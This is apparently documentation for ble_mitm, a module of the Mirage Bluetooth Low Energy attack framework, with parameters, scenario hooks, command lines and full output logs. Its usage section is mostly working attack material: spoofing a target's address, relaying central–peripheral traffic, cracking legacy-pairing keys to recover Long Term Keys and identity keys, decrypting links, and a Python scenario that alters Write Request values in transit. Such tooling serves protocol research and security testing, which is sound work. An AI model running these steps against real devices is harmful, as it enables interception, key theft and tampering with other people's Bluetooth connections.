ble_mitm

Presentation

ble_mitm allows to easily perform a Man-in-the-Middle (MiTM) attack against a specific BLE Peripheral. As the Mirage BLE protocol stack has been implemented from scratch, it avoids some problems of similar tools linked to the use of existing libraries.

Indeed, this module doesn’t need to clone the target device in order to simulate it : it is able to directly forward the messages without understanding the exact internal state of the target.

It also provides some interesting features :

  • if the module is launched during a legacy pairing, it can use the module ble_crack in order to crack the temporary key, allowing to get the Short and Long Term Keys.

  • if the Long Term Key is known, it can be provided to ble_mitm using the input parameter LTK. It allows to monitor an encrypted connection.

  • the two main MiTM strategies used in GATTacker and BTLEJuice are available :

    • the strategy from GATTacker consists to send quickly a lot of advertisements, forcing the Central to connect to the fake device instantiated by Mirage (set the input parameter ADVERTISING_STRATEGY to flood)

    • the strategy from BTLEJuice consists to connect to the target Peripheral and then advertising, forcing the Central to connect to the fake device instantiated by Mirage (set the input parameter ADVERTISING_STRATEGY to preconnect)

  • By default, the module simply forwards the frames from a device to another. If you need to implement a more complex behaviour, you can customize the behaviour of this module by providing a scenario.

The module execution is divided into five main steps :

_images/mitm_stage.png

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE1

hci0

hciX

Interface to use (slave)

INTERFACE2

hci1

hciX

Interface to use (master)

TARGET

XX:XX:XX:XX:XX:XX

BD Address of the target

SLAVE_SPOOFING

yes

yes | no

Slave spoofing enabled

MASTER_SPOOFING

yes

yes | no

Master spoofing enabled

LTK

<hexadecimal>

Long Term Key (if known)

ADVERTISING_STRATEGY

preconnect

preconnect | flood

Offensive strategy to use

SHOW_SCANNING

yes

yes | no

Displaying advertisements

CONNECTION_TYPE

public

public | random

BD Address mode of the target

SCENARIO

<string>

Scenario in use

Output parameters

This module doesn’t provide any output parameters.

Scenario signals

The behaviour of this module can be modified using scenarios. If you need more details about Mirage scenarios, their usage is described here. The following signals are generated by this module if a scenario is provided using the SCENARIO input parameter :

Signal

Parameters

Activation

Default behaviour

onStart

when the module starts its execution

nothing is executed

onEnd

when the module stops its execution

nothing is executed

onKey

key

when a key is pressed

nothing is executed

onStageChange

stage

when a new stage is enabled

the stage attribute is modified

onSlaveAdvertisement

packet

when an Advertisement packet is received (from slave)

the characteristics of the received packets are registered

onCloning

address,data,dataResponse,intervalMin,intervalMax,addrType

when the cloning process is enabled

the received advertisements are cloned and transmitted

onSlaveConnect

packet

when the module connects to slave

the module sends a connection request to the target

onMasterConnect

packet

when the module receives an incoming connection from master

the master is spoofed if MASTER_SPOOFING is enabled

onMasterDisconnect

packet

when a disconnection packet is received (from master)

the packet is redirected

onSlaveDisconnect

packet

when a disconnection packet is received (from slave)

the packet is redirected

onMasterWriteCommand

packet

when a Write Command is received (from master)

the packet is redirected

onMasterWriteRequest

packet

when a Write Request is received (from master)

the packet is redirected

onSlaveWriteResponse

packet

when a Write Response is received (from slave)

the packet is redirected

onMasterReadRequest

packet

when a Read Request is received (from master)

the packet is redirected

onSlaveReadResponse

packet

when a Read Response is received (from slave)

the packet is redirected

onSlaveErrorResponse

packet

when a Error Response is received (from slave)

the packet is redirected

onSlaveHandleValueNotification

packet

when a Handle Value Notification is received (from slave)

the packet is redirected

onMasterFindInformationRequest

packet

when a Find Information Request is received (from master)

the packet is redirected

onSlaveFindInformationResponse

packet

when a Find Information Response is received (from slave)

the packet is redirected

onMasterReadByTypeRequest

packet

when a Read By Type Request is received (from master)

the packet is redirected

onMasterReadByGroupTypeRequest

packet

when a Read By Group Type Request is received (from master)

the packet is redirected

onSlaveReadByTypeResponse

packet

when a Read By Type Response is received (from slave)

the packet is redirected

onSlaveReadByGroupTypeResponse

packet

when a Read By Group Type Response is received (from slave)

the packet is redirected

onMasterLongTermKeyRequest

packet

when a Long Term Key Request is received (from master)

the packet is redirected if the corresponding key is known

onMasterPairingRequest

packet

when a Pairing Request is received (from master)

the packet is redirected

onSlavePairingResponse

packet

when a Pairing Response is received (from slave)

the packet is redirected

onMasterPairingConfirm

packet

when a Pairing Confirm is received (from master)

the packet is redirected

onSlavePairingConfirm

packet

when a Pairing Confirm is received (from slave)

the packet is redirected

onMasterPairingRandom

packet

when a Pairing Random is received (from master)

the packet is redirected, ble_crack cracks the temporary key

onSlavePairingRandom

packet

when a Pairing Random is received (from slave)

the packet is redirected

onMasterPairingFailed

packet

when a Pairing Failed is received (from master)

the packet is redirected

onSlavePairingFailed

packet

when a Pairing Failed is received (from slave)

the packet is redirected

onSlaveEncryptionInformation

packet

when an Encryption Information is received (from slave)

the packet is redirected

onSlaveMasterIdentification

packet

when an Master Identification is received (from slave)

the packet is redirected

onSlaveIdentityAddressInformation

packet

when an Identity Address Information is received (from slave)

the packet is redirected

onSlaveIdentityInformation

packet

when an Identity Information is received (from slave)

the packet is redirected

onSlaveSigningInformation

packet

when an Signing Information is received (from slave)

the packet is redirected

onMasterEncryptionInformation

packet

when an Encryption Information is received (from master)

the packet is redirected

onMasterMasterIdentification

packet

when an Master Identification is received (from master)

the packet is redirected

onMasterIdentityAddressInformation

packet

when an Identity Address Information is received (from master)

the packet is redirected

onMasterIdentityInformation

packet

when an Identity Information is received (from master)

the packet is redirected

onMasterSigningInformation

packet

when an Signing Information is received (from master)

the packet is redirected

Usage

Identifying the interfaces

First of all, you need to have two HCI devices connected to your computer in order to perform a MITM attack. At least one of them should be able to change its BD address in order to spoof the target’s address :

$ hciconfig
hci1:   Type: Primary  Bus: USB
        BD Address: 00:19:0E:19:79:D8  ACL MTU: 1021:8  SCO MTU: 64:1
        UP RUNNING
        RX bytes:1004 acl:0 sco:0 events:55 errors:0
        TX bytes:3184 acl:0 sco:0 commands:55 errors:0

hci0:   Type: Primary  Bus: USB
        BD Address: D0:C5:D3:7C:3B:46  ACL MTU: 1021:8  SCO MTU: 255:12
        UP RUNNING
        RX bytes:1540 acl:0 sco:0 events:167 errors:0
        TX bytes:31848 acl:0 sco:0 commands:166 errors:0

You can use the ble_info module in order to check if your devices can spoof a BD address :

$ mirage ble_info INTERFACE=hci0
[INFO] Module ble_info loaded !
[SUCCESS] HCI Device (hci0) successfully instanciated !
┌───────────┬───────────────────┬──────────────┬───────────────────────────────────┬────────────────────┐
│ Interface │ BD Address        │ Current Mode │ Manufacturer                      │ Changeable Address │
├───────────┼───────────────────┼──────────────┼───────────────────────────────────┼────────────────────┤
│ hci0      │ D0:C5:D3:7C:3B:46 │ NORMAL       │ Realtek Semiconductor Corporation │ no                 │
└───────────┴───────────────────┴──────────────┴───────────────────────────────────┴────────────────────┘
[INFO] Mirage process terminated !

$ mirage ble_info INTERFACE=hci1
[INFO] Module ble_info loaded !
[SUCCESS] HCI Device (hci1) successfully instanciated !
┌───────────┬───────────────────┬──────────────┬──────────────────────┬────────────────────┐
│ Interface │ BD Address        │ Current Mode │ Manufacturer         │ Changeable Address │
├───────────┼───────────────────┼──────────────┼──────────────────────┼────────────────────┤
│ hci1      │ 00:19:0E:19:79:D8 │ NORMAL       │ Broadcom Corporation │ yes                │
└───────────┴───────────────────┴──────────────┴──────────────────────┴────────────────────┘

By default, the input parameter INTERFACE1 is set to “hci0” and indicates the interface used to connect to the slave. The input parameter INTERFACE2 is set to “hci1” and the corresponding interface must be able to change its address as it will be used to advertise and receive an incoming connection from the master. You should modify this values if you want to use different interfaces.

Basic usage

The simplest way to use ble_mitm is to provide the input parameter TARGET, indicating the BD address of the target (and optionally the input parameter CONNECTION_TYPE if the target exposes a random BD address) :

$ mirage ble_mitm TARGET=C4:BE:84:39:8E:07
[INFO] Module ble_mitm loaded !
[SUCCESS] HCI Device (hci0) successfully instanciated !
[SUCCESS] HCI Device (hci1) successfully instanciated !
[INFO] Entering SCAN stage ...
[PACKET] << BLE - Advertisement Packet | type=ADV_IND | addr=C4:BE:84:39:8E:07 | data=0201060bff0d0006030108b4ff0200 >>
[SUCCESS] Found corresponding advertisement !
[PACKET] << BLE - Advertisement Packet | type=SCAN_RSP | addr=C4:BE:84:39:8E:07 | data=100953616c6f6e00000000000000000000051228005000020a00 >>
[INFO] Entering CLONE stage ...
[INFO] Changing HCI Device (hci1) Address to : C4:BE:84:39:8E:07
[SUCCESS] BD Address successfully modified !
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[SUCCESS] Connected on slave : C4:BE:84:39:8E:07
[INFO] Entering WAIT_CONNECTION stage ...

As you can see, the module scans the RF environment in order to find advertisements sent by the target, and especially an ADV_IND and a SCAN_RSP. When the corresponding packets have been received, the module enters the CLONE stage : it tries to spoof the BD address of the target. Then, it applies the selected advertising strategy, described by the input parameter ADVERTISING_STRATEGY (by default, it connects to the slave device and starts to advertise the cloned packets). Finally, the module enters the WAIT_CONNECTION stage and waits for an incoming connection from master.

If an incoming Connection Request is received, the module enters the stage named ACTIVE_MITM. If the input parameter named MASTER_SPOOFING is enabled, the module disconnects from the slave, change its BD address and connects to it again (this feature must be used if you want to monitor a pairing process, but it is generally not mandatory). the module displays the received packets and redirects them to their destination :

[INFO] Updating connection handle : 64
[SUCCESS] Master connected : 79:B8:A4:81:4B:98
[INFO] Slave disconnected !
[INFO] Changing HCI Device (hci0) Random Address to : 79:B8:A4:81:4B:98
[SUCCESS] BD Address successfully modified !
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Read By Group Type Request (from master) : startHandle = 0x1 / endHandle = 0xffff / uuid = 0x2800
[INFO] Redirecting to slave ...
[INFO] Read By Group Type Response (from slave) : length = 6 / data = 01000b0000180c000f00011810001e000a18
[INFO] Redirecting to master ...
[INFO] Read By Group Type Request (from master) : startHandle = 0x1f / endHandle = 0xffff / uuid = 0x2800
[INFO] Redirecting to slave ...
[INFO] Read By Group Type Response (from slave) : length = 20 / data = 1f002f0018d3dd5ce93dd08951403448f0ffb3a8
[...]

If one of the device disconnects, a disconnection request is sent to the other device.

[INFO] Master disconnected !
[INFO] Mirage process terminated !

As you can see, it’s quite easy to perform a basic MITM attack using this module. By default, it displays the received packets, so it can be enough if you only want to perform the reverse engineering of a given communication protocol.

Pairing process

ble_mitm can be used to crack the temporary key and get the Short and Long Term Keys during a legacy pairing process. If you want to perform such an attack, you only need to enable the MASTER_SPOOFING parameter :

$ mirage ble_mitm TARGET=C4:BE:84:39:8E:07 MASTER_SPOOFING=yes
[INFO] Module ble_mitm loaded !
[SUCCESS] HCI Device (hci0) successfully instanciated !
[SUCCESS] HCI Device (hci1) successfully instanciated !
[INFO] Entering SCAN stage ...
[PACKET] << BLE - Advertisement Packet | type=ADV_IND | addr=C4:BE:84:39:8E:07 | data=0201060bff0d0006030108b4ff0200 >>
[SUCCESS] Found corresponding advertisement !
[PACKET] << BLE - Advertisement Packet | type=SCAN_RSP | addr=C4:BE:84:39:8E:07 | data=100953616c6f6e00000000000000000000051228005000020a00 >>
[INFO] Entering CLONE stage ...
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[SUCCESS] Connected on slave : C4:BE:84:39:8E:07
[INFO] Entering WAIT_CONNECTION stage ...
[INFO] Updating connection handle : 64
[SUCCESS] Master connected : 40:B9:EB:90:E9:81
[INFO] Slave disconnected !
[INFO] Changing HCI Device (hci0) Random Address to : 40:B9:EB:90:E9:81
[SUCCESS] BD Address successfully modified !
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Read By Group Type Request (from master) : startHandle = 0x1 / endHandle = 0xffff / uuid = 0x2800
[INFO] Redirecting to slave ...
[INFO] Read By Group Type Response (from slave) : length = 6 / data = 01000b0000180c000f00011810001e000a18
[INFO] Redirecting to master ...
[INFO] Read By Group Type Request (from master) : startHandle = 0x1f / endHandle = 0xffff / uuid = 0x2800
[INFO] Redirecting to slave ...
[INFO] Read By Group Type Response (from slave) : length = 20 / data = 1f002f0018d3dd5ce93dd08951403448f0ffb3a8
[INFO] Redirecting to master ...
[INFO] Read By Group Type Request (from master) : startHandle = 0x30 / endHandle = 0xffff / uuid = 0x2800
[INFO] Redirecting to slave ...
[...]

Then, if an incoming pairing request is received, the module redirects the pairing-related packets, and tries to crack the PIN code and the associated Temporary Key as soon as it has received enough information to use the ble_crack module :

[INFO] Pairing Request (from master) :
=> outOfBand = no
=> inputOutputCapability = Input Output Capability(0x4,keyboard:yes|yesno:no|display:yes)
=> authentication = AuthReq Flag(0xd,bonding:yes|mitm:yes|secureConnections:yes|keypress:no|ct2:no)
=> maxKeySize = 16
=> initiatorKeyDistribution = Key Distribution Flag(0x7,encKey:yes|idKey:yes|signKey:yes|linkKey:no)
=> responderKeyDistribution = Key Distribution Flag(0x7,encKey:yes|idKey:yes|signKey:yes|linkKey:no)
[INFO] Storing Pairing Request's payload :0104000d100707
[INFO] Redirecting to slave ...
[INFO] Pairing Response (from slave) :
=> outOfBand = no
=> inputOutputCapability = Input Output Capability(0x0,keyboard:no|yesno:no|display:yes)
=> authentication = AuthReq Flag(0x5,bonding:yes|mitm:yes|secureConnections:no|keypress:no|ct2:no)
=> maxKeySize = 16
=> initiatorKeyDistribution = Key Distribution Flag(0x7,encKey:yes|idKey:yes|signKey:yes|linkKey:no)
=> responderKeyDistribution = Key Distribution Flag(0x7,encKey:yes|idKey:yes|signKey:yes|linkKey:no)
[INFO] Storing Pairing Response's payload :02000005100707
[INFO] Redirecting to master ...
[INFO] Pairing Confirm (from master) : confirm = 114a0ed496451b45c72ecd8e6b5a16d0
[INFO] Storing mConfirm : 114a0ed496451b45c72ecd8e6b5a16d0
[INFO] Redirecting to slave ...
[INFO] Pairing Confirm (from slave) : confirm = b28608cd59b8474778030a9ed44033dd
[INFO] Storing sConfirm : b28608cd59b8474778030a9ed44033dd
[INFO] Redirecting to master ...
[INFO] Pairing Random (from master) : random = 404fcaad6eb27683b0755e6176b21854
[INFO] Storing mRand : 404fcaad6eb27683b0755e6176b21854
[INFO] Cracking TK ...
[SUCCESS] Pin found : 0
[SUCCESS] Temporary Key found : 00000000000000000000000000000000
[INFO] Redirecting to slave ...
[INFO] Pairing Random (from slave) : random = 1e293649dcd78a1aab66913d8eecdb25
[INFO] Storing sRand : 1e293649dcd78a1aab66913d8eecdb25
[INFO] Redirecting to master ...

If the attack succeeds, it allows the module to derivate the Short Term Key and encrypt the link using the same key on both sides. It will potentially allow to get the keys, and especially the future Long Term Key and its associated Rand and EDIV values :

[INFO] Long Term Key Request (from master) : ediv = 0x0 / rand = 0000000000000000
[INFO] Derivating Short Term Key : 7e2eb5e237c6187080ffb4ddc3f6d1bb
[INFO] Redirecting to slave ...
[INFO] Encryption Information (from slave) : Long Term Key = 9730ceec4f155736e27cb54844f7e770
[INFO] Redirecting to master ...
[INFO] Master Indentification (from slave) : ediv = 0xe588 / rand = c50b4f13f7b62084
[INFO] Redirecting to master ...
[INFO] Identity Information (from slave) : irk = 97378defa86642fe44f3f4b363877ea8
[INFO] Redirecting to master ...
[INFO] Identity Address Information (from slave) : address = c4:be:84:39:8e:07 / type = public
[INFO] Redirecting to master ...
[INFO] Signing Information (from slave) : csrk = 6387fea8b342b7b4c7f7ec9356cdb1bc
[INFO] Redirecting to master ...
[INFO] Encryption Information (from master) : Long Term Key = 41626e15aa8eddfaa9961540dc183942
[INFO] Redirecting to slave ...
[INFO] Master Indentification (from master) : ediv = 0xc179 / rand = 545c7f2858471c61
[INFO] Redirecting to slave ...
[INFO] Identity Information (from master) : irk = 84bf2598801eda5822c8c0029c63a933
[INFO] Redirecting to slave ...
[INFO] Identity Address Information (from master) : address = e0:62:67:24:2d:e5 / type = public
[INFO] Redirecting to slave ...
[INFO] Signing Information (from master) : csrk = 59151fde7995d5551cbb694d7b833445
[INFO] Redirecting to slave ...

In this example, the following Long Term Key have been found : 9730ceec4f155736e27cb54844f7e770. As a consequence, it can be used in another MITM in order to correctly encrypt the link.

Dealing with encryption

If the key is not provided, the module will fail when receiving an incoming Long Term Key request :

$ mirage ble_mitm TARGET=C4:BE:84:39:8E:07
[INFO] Module ble_mitm loaded !
[SUCCESS] HCI Device (hci0) successfully instanciated !
[SUCCESS] HCI Device (hci1) successfully instanciated !
[INFO] Entering SCAN stage ...
[PACKET] << BLE - Advertisement Packet | type=ADV_IND | addr=75:8C:50:FA:19:5A | data=03039ffe17169ffe0000000000000000000000000000000000000000 >>
[PACKET] << BLE - Advertisement Packet | type=SCAN_RSP | addr=75:8C:50:FA:19:5A | data=09ffe0000130ca72fc5b >>
[PACKET] << BLE - Advertisement Packet | type=ADV_IND | addr=C4:BE:84:39:8E:07 | data=0201060bff0d0006030108b4ff0200 >>
[SUCCESS] Found corresponding advertisement !
[PACKET] << BLE - Advertisement Packet | type=SCAN_RSP | addr=C4:BE:84:39:8E:07 | data=100953616c6f6e00000000000000000000051228005000020a00 >>
[INFO] Entering CLONE stage ...
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[SUCCESS] Connected on slave : C4:BE:84:39:8E:07
[INFO] Entering WAIT_CONNECTION stage ...
[INFO] Updating connection handle : 64
[SUCCESS] Master connected : 6E:94:91:78:DC:54
[INFO] Slave disconnected !
[INFO] Changing HCI Device (hci0) Random Address to : 6E:94:91:78:DC:54
[SUCCESS] BD Address successfully modified !
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Long Term Key Request (from master) : ediv = 0xe588 / rand = c50b4f13f7b62084
[INFO] No LTK provided, encryption not enabled.
[INFO] Master disconnected !
[INFO] Mirage process terminated !

However, you can provide the right Long Term Key using the LTK input parameter :

$ mirage ble_mitm TARGET=C4:BE:84:39:8E:07 LTK=9730ceec4f155736e27cb54844f7e770
[INFO] Module ble_mitm loaded !
[SUCCESS] HCI Device (hci0) successfully instanciated !
[SUCCESS] HCI Device (hci1) successfully instanciated !
[INFO] Entering SCAN stage ...
[PACKET] << BLE - Advertisement Packet | type=ADV_IND | addr=75:8C:50:FA:19:5A | data=03039ffe17169ffe0000000000000000000000000000000000000000 >>
[PACKET] << BLE - Advertisement Packet | type=SCAN_RSP | addr=75:8C:50:FA:19:5A | data=09ffe0000130ca72fc5b >>
[PACKET] << BLE - Advertisement Packet | type=ADV_IND | addr=C4:BE:84:39:8E:07 | data=0201060bff0d0006030108b4ff0200 >>
[SUCCESS] Found corresponding advertisement !
[PACKET] << BLE - Advertisement Packet | type=SCAN_RSP | addr=C4:BE:84:39:8E:07 | data=100953616c6f6e00000000000000000000051228005000020a00 >>
[INFO] Entering CLONE stage ...
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[SUCCESS] Connected on slave : C4:BE:84:39:8E:07
[INFO] Entering WAIT_CONNECTION stage ...
[INFO] Updating connection handle : 64
[SUCCESS] Master connected : 6E:94:91:78:DC:54
[INFO] Slave disconnected !
[INFO] Changing HCI Device (hci0) Random Address to : 6E:94:91:78:DC:54
[SUCCESS] BD Address successfully modified !
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Long Term Key Request (from master) : ediv = 0xe588 / rand = c50b4f13f7b62084
[INFO] Using LTK provided : 9730ceec4f155736e27cb54844f7e770
[INFO] Redirecting to slave ...
[INFO] Read Request (from master) : handle = 0xb
[INFO] Redirecting to slave ...
[INFO] Read Response (from slave) : value = 5000a0000000e803
[INFO] Redirecting to master ...

Customizing the behaviour using scenarios

It’s quite easy to modify the behaviour of this module using a scenario. If you need more details about scenarios, their usage is described here. The following example allow to modify the value associated to a Write Request targeting the handle 0x0021 by replacing the byte 0x00 by 0x01 or 0x01 by 0x00.

First of all, generate a new scenario :

$ mirage --create_scenario
[QUESTION] Scenario's name : mitm_test
[SUCCESS] Scenario mitm_example successfully generated : /home/user/.mirage/scenarios/mitm_test.py
[INFO] Mirage process terminated !

Then, you can modify the code to customize the behaviour :

from mirage.core import scenario
from mirage.libs import io,ble,bt,utils

class mitm_test(scenario.Scenario):

        def onStart(self):
                # This signal is triggered when the module starts
                self.a2sEmitter = self.module.a2sEmitter # Attacker to Slave emitter
                self.a2sReceiver = self.module.a2sReceiver # Attacker to Slave receiver
                self.a2mEmitter = self.module.a2mEmitter # Attacker to Master emitter
                self.a2mReceiver = self.module.a2mReceiver # Attacker to Master receiver
                return True # The default behaviour is executed

        def onMasterWriteRequest(self,packet):
                # This signal is triggered when a Write Request is received (from master)
                if packet.handle == 0x21 and 0x00 in packet.value:
                        packet.show()

                        index = packet.value.index(0x00)
                        newValue = packet.value[:index] + bytes([0x01]) + packet.value[index+1:]
                        io.info("Value modified (new value : "+newValue.hex()+") !")

                        self.a2sEmitter.sendp(ble.BLEWriteRequest(
                                                handle=packet.handle,
                                                value=newValue)
                                        )
                        return False # The default behaviour is not executed
                elif packet.handle == 0x21 and 0x01 in packet.value:
                        packet.show()

                        index = packet.value.index(0x01)
                        newValue = packet.value[:index] + bytes([0x00]) + packet.value[index+1:]
                        io.info("Value modified (new value : "+newValue.hex()+") !")

                        self.a2sEmitter.sendp(ble.BLEWriteRequest(
                                                handle=packet.handle,
                                                value=newValue)
                                        )

                        return False # The default behaviour is not executed
                else:
                        return True # The default behaviour is executed
        def onEnd(self):
                return True # The default behaviour is executed

        def onKey(self,key):
                return True # The default behaviour is executed

Finally, to execute your scenario, just provide its name in the SCENARIO input parameter :

$ mirage ble_mitm TARGET=C4:BE:84:39:8E:07 SCENARIO=mitm_test
[INFO] Module ble_mitm loaded !
[SUCCESS] HCI Device (hci0) successfully instanciated !
[SUCCESS] HCI Device (hci1) successfully instanciated !
[INFO] Scenario loaded !
[INFO] Entering SCAN stage ...
[PACKET] << BLE - Advertisement Packet | type=ADV_IND | addr=C4:BE:84:39:8E:07 | data=0201060bff0d0006030008b4ff0200 >>
[SUCCESS] Found corresponding advertisement !
[PACKET] << BLE - Advertisement Packet | type=SCAN_RSP | addr=C4:BE:84:39:8E:07 | data=100953616c6f6e00000000000000000000051228005000020a00 >>
[INFO] Entering CLONE stage ...
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[SUCCESS] Connected on slave : C4:BE:84:39:8E:07
[INFO] Entering WAIT_CONNECTION stage ...
[INFO] Updating connection handle : 64
[SUCCESS] Master connected : 75:52:1C:38:67:AE
[INFO] Slave disconnected !
[INFO] Changing HCI Device (hci0) Random Address to : 75:52:1C:38:67:AE
[SUCCESS] BD Address successfully modified !
[INFO] Connecting to slave C4:BE:84:39:8E:07...
[INFO] Updating connection handle : 16
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Read Request (from master) : handle = 0x14
[INFO] Redirecting to slave ...
[...]
[PACKET] << BLE - Write Request Packet | handle=0x21 | value=5510010d0a >>
[INFO] Value modified (new value : 5510000d0a) !
[INFO] Write Response (from slave)
[INFO] Redirecting to master ...
[PACKET] << BLE - Write Request Packet | handle=0x21 | value=5510000d0a >>
[INFO] Value modified (new value : 5510010d0a) !
[INFO] Write Response (from slave)
[INFO] Redirecting to master ...
[PACKET] << BLE - Write Request Packet | handle=0x21 | value=5510010d0a >>
[INFO] Value modified (new value : 5510000d0a) !
[INFO] Write Response (from slave)
[INFO] Redirecting to master ...
[PACKET] << BLE - Write Request Packet | handle=0x21 | value=5510000d0a >>
[INFO] Value modified (new value : 5510010d0a) !
[INFO] Write Response (from slave)
[INFO] Redirecting to master ...
[PACKET] << BLE - Write Request Packet | handle=0x21 | value=5510010d0a >>
[INFO] Value modified (new value : 5510000d0a) !
[INFO] Write Response (from slave)
[INFO] Redirecting to master ...